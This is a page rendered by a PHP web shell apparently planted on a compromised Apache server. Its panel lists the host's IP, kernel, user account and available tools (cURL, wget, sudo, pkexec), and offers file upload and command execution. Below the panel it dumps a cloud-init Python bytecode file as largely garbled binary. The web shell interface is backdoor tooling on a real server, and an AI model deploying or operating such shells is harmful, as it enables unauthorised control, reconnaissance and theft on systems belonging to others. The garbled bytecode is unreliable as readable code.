403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/cmd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/cmd/__pycache__/cloud_id.cpython-36.opt-1.pyc
3

��b��@s�dZddlZddlZddlZddlmZmZddlmZm	Z	m
Z
ddlmZdeZ
dZddd	�Zd
d�Zdd
�Zedkr�e�dS)zCCommandline utility to list the canonical cloud-id for an instance.�N)�UXAppStatus�get_status_details)�INSTANCE_JSON_FILE�METADATA_UNKNOWN�canonical_cloud_id)�errorz/run/cloud-init/%szcloud-idcCsV|stjtdd�}|jdddddd�|jd	d
dddd�|jdd
ttdtd�|S)a*Build or extend an arg parser for the cloud-id utility.

    @param parser: Optional existing ArgumentParser instance representing the
        query subcommand which will be extended to support the args of
        this utility.

    @returns: ArgumentParser with proper argument configuration.
    z/Report the canonical cloud-id for this instance)�prog�descriptionz-jz--json�
store_trueFz5Report all standardized cloud-id information as json.)�action�default�helpz-lz--longz=Report extended cloud-id information as tab-delimited string.z-iz--instance-dataz.Path to instance-data.json file. Default is %s)�typerr
)�argparse�ArgumentParser�NAME�add_argument�str�DEFAULT_INSTANCE_JSON)�parser�r�/usr/lib/python3.6/cloud_id.py�
get_parsers0	
rc
Cs:t�\}}}|tjkr.tjjdj|j��dS|tjkrPtjjdj|j��dSyt	j
t|j��}WnJt
k
r�td|j�Stk
r�}ztd|j|f�Sd}~XnX|jdi�}t|jdt�|jd	t�|jd
t��}|j	�r||d<t	j|dd
dd�}	n"|j�r"d||jd	t�f}	n|}	tjjd|	�dS)z�Handle calls to 'cloud-id' cli.

    Print the canonical cloud-id on which the instance is running.

    @return: 0 on success, 1 on error, 2 on disabled, 3 on cloud-init not run.
    z{0}
��zTFile not found '%s'. Provide a path to instance data json file using --instance-datazFile '%s' is not valid json. %sN�v1Z
cloud_nameZregion�platform�cloud_id�T�,�: )�indentZ	sort_keysZ
separatorsz%s	%sz%s
r)rr )rrZDISABLED�sys�stdout�write�format�valueZNOT_RUN�json�load�open�
instance_data�IOErrorr�
ValueError�getrr�dumpsZlong)
�name�argsZstatusZ_status_detailsZ_timer*�errZresponserrr�handle_args=s<




r2cCst�}tjtt|j���dS)z,Tool to query specific instance-data values.N)rr"�exitr2r�
parse_args)rrrr�mainjsr5�__main__)N)�__doc__rr'r"Zcloudinit.cmd.statusrrZcloudinit.sourcesrrrZcloudinit.utilrrrrr2r5�__name__rrrr�<module>s
'-

Youez - 2016 - github.com/yon3zu
LinuXploit